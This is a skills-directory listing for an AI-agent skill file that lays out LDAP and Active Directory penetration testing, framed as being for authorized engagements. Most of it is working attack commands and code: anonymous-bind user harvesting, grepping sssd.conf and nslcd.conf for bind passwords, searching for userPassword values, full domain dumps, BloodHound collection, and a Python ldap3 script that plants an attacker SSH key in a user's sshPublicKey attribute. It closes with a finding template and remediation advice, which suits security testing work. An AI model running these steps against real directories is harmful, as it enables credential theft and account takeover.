Skip to content
Back to skills

Red Pentesting Ldap

ASecurity

Testing LDAP / LDAPS directory services (389, 636, and Global Catalog 3268/3269) including Active Directory during authorized engagements.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 7, 2026
securitypythongobashtestingapi

Works with

  • cli
  • api

Security analysis

A100/100

Scanned November 7, 2026

npx -y skills add bitbytelabio/arsenal --skill red-pentesting-ldap --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Red Pentesting Ldap?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Red Pentesting Ldap
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/bitbytelabio-red-pentesting-ldap/badge)](https://www.skillsdirectory.com/skills/bitbytelabio-red-pentesting-ldap)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: red-pentesting-ldap
description: Testing LDAP / LDAPS directory services (389, 636, and Global Catalog 3268/3269) including Active Directory during authorized engagements.
domain: red
category: active-directory
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/red-pentesting-ldap/SKILL.md
---
# Pentesting LDAP (ports 389/636/3268/3269)

## When to Use

- During authorized AD/directory assessments when 389, 636, 3268, or 3269 is open
- When you need to enumerate users, groups, computers, and the password policy
- When testing for anonymous/null binds that expose the directory unauthenticated
- When you have valid credentials and want a full domain dump or BloodHound collection
- When assessing Linux hosts integrated with LDAP/AD for leaked bind credentials in client configs

## Quick Enumeration

```bash
# Confirm service and grab public info (anonymous)
nmap -n -sV --script "ldap* and not brute" <IP>
nmap -p 389 --script ldap-search -Pn <IP>

# Naming context / rootDSE (base DN autodetected) — no creds
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -s base -b '' "(objectClass=*)" "*" +

# netexec LDAP module
netexec ldap <DC_FQDN> -u '' -p ''                      # anonymous probe
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<sub>,DC=<tld>"
```

## Critical: Checks Most Often Missed

1. **Anonymous / null bind** — legacy or misconfigured directories allow unauthenticated reads of the entire tree: users, groups, computers, attributes, and the password policy. Test `ldapsearch -x -D '' -w ''` and `netexec ldap -u '' -p ''`.
2. **Cleartext LDAP (no TLS)** — plain 389 lets you sniff bind credentials on the wire; also enables a downgrade MITM where a TLS client falls back to cleartext.
3. **Writable user attributes** — if you can modify `sshPublicKey`, and SSH reads keys from LDAP, you can log in as that user even without their password. Check write access to high-value attributes.
4. **Bind creds in client configs** — on LDAP-joined Linux, `/etc/sssd/sssd.conf`, `/etc/nslcd.conf`, and `/etc/ldap/ldap.conf` often hold reusable `ldap_default_bind_dn` + `ldap_default_authtok`. World-readable configs are a quick win.
5. **userPassword / description leakage** — directory entries sometimes store passwords or password hints in readable attributes; grep query output for them.

How to CONFIRM: an anonymous bind is confirmed when an unauthenticated `ldapsearch -x` returns directory entries (not just rootDSE). If you see `Operations error ... successful bind must be completed`, the bind is rejected (anonymous disabled or creds invalid).

## Workflow

### Step 1: Enumerate (naming context, objects, users)

```bash
# Discover the naming context, then dump objects
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -b "DC=<sub>,DC=<tld>"

# Anonymous user harvest via netexec
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt

# python ldap3 anonymous probe
python3 - <<'PY'
import ldap3
s = ldap3.Server('<IP>', get_info=ldap3.ALL, port=636, use_ssl=True)
c = ldap3.Connection(s); print(c.bind()); print(s.info)
PY
```

### Step 2: Authenticate (null bind, valid creds, GSSAPI)

```bash
# Check null vs valid creds (watch for "bind must be completed")
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<sub>,DC=<tld>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' -b "DC=<sub>,DC=<tld>"

# Kerberos (GSSAPI) bind instead of NTLM/simple
ldapsearch -Y GSSAPI -H ldap://<IP> -b "DC=<sub>,DC=<tld>"

# Harvest bind creds from LDAP client configs (post-foothold)
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
  /etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null
```

### Step 3: Exploit / Extract (domain dump, targeted queries)

```bash
# Extract specific objects
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' -b "CN=Users,DC=<sub>,DC=<tld>"
ldapsearch ... -b "CN=Domain Admins,CN=Users,DC=<sub>,DC=<tld>"     # privileged group
ldapsearch ... -b "CN=Computers,DC=<sub>,DC=<tld>"                  # computers

# Grep for passwords in results
ldapsearch ... -b "DC=<sub>,DC=<tld>" | grep -i -A2 -B2 "userpas"

# Full domain dump
ldapdomaindump <IP> -u '<domain>\<user>' -p '<pass>' -o /tmp/ldd

# Windows-domain enumeration helper
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p pass --da
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p pass --privileged-users
```

### Step 4: Post-access / abuse and lateral movement

```bash
# BloodHound collection via netexec LDAP
nxc ldap <IP> -u <USER> -p <PASS> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

# Writable-attribute abuse: inject your SSH key into a user (ldap3)
python3 - <<'PY'
import ldap3
s = ldap3.Server('<IP>', port=636, use_ssl=True)
c = ldap3.Connection(s, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
c.modify('uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN',
         {'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA... attacker@host'])]})
print(c.result)
PY

# Crack offline LDAP DB hashes if filesystem access obtained
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **LDAP / LDAPS** | Directory access protocol; 389 cleartext, 636 over TLS |
| **Global Catalog** | Forest-wide partial replica on 3268 (LDAP) and 3269 (LDAPS) |
| **Naming context / base DN** | Root of the directory tree (e.g. `DC=corp,DC=local`) |
| **Anonymous/null bind** | Unauthenticated connection that may expose directory data |
| **DN / RDN** | Distinguished Name; the unique path to an object |
| **LDIF** | LDAP Data Interchange Format for records and update operations |
| **Writable attribute abuse** | Modifying attributes like `sshPublicKey` to gain access |
| **rootDSE** | Server metadata (supported versions, naming contexts) readable pre-bind |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **ldapsearch** | Core query tool; supports simple, null, and GSSAPI binds |
| **netexec / crackmapexec** (ldap) | Anonymous queries, BloodHound collection, spraying |
| **ldapdomaindump** | Full domain object dump to HTML/JSON/grep |
| **windapsearch** | Enumerate users/groups/computers/privileged users via LDAP |
| **python ldap3** | Scripted enumeration and attribute modification |
| **BloodHound** | Graph analysis of AD attack paths from LDAP data |
| **godap / JXplorer / Apache Directory Studio** | Interactive LDAP clients |

## Common Scenarios

### Scenario 1: Anonymous Bind Full Disclosure
A misconfigured DC allows null binds. `netexec ldap <DC> -u '' -p '' --query "(sAMAccountName=*)"` dumps every user and the password policy, seeding a targeted password spray.

### Scenario 2: Bind Creds in sssd.conf
A world-readable `/etc/sssd/sssd.conf` on a Linux host exposes `ldap_default_bind_dn` and `ldap_default_authtok`, which authenticate to the directory and pull privileged group memberships.

### Scenario 3: sshPublicKey Injection
The tester can modify a service account's `sshPublicKey`. After injecting an attacker key, SSH (configured to read keys from LDAP) grants login as that account.

### Scenario 4: Credentialed BloodHound
With a valid low-priv credential, `nxc ldap ... --bloodhound -c All` collects the graph, revealing a short path from the compromised user to Domain Admins.

## Output Format

```
## LDAP Finding

**Service**: LDAP / LDAPS
**Severity**: <Critical|High|Medium>
**Host**: <IP>:389/636 (GC 3268/3269)
**Base DN**: <DC=corp,DC=local>

### Summary
<What was found: anonymous bind, cleartext creds, writable attribute, leaked bind creds>

### Extracted Data
| Object Type | Count / Detail |
|-------------|----------------|
| Users | <n> (sAMAccountName harvested) |
| Privileged groups | Domain Admins membership exposed |
| Password policy | <details> |

### Evidence
- Command: <ldapsearch / netexec query>
- Output: <entry/attribute excerpt>

### Recommendation
1. Disable anonymous/null LDAP binds
2. Enforce LDAPS (TLS) and require channel binding / signing
3. Restrict read access to sensitive attributes; remove passwords from attributes
4. Lock down LDAP client config files (sssd.conf, nslcd.conf) to root-only
5. Review write permissions on user attributes (sshPublicKey, scriptPath)
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.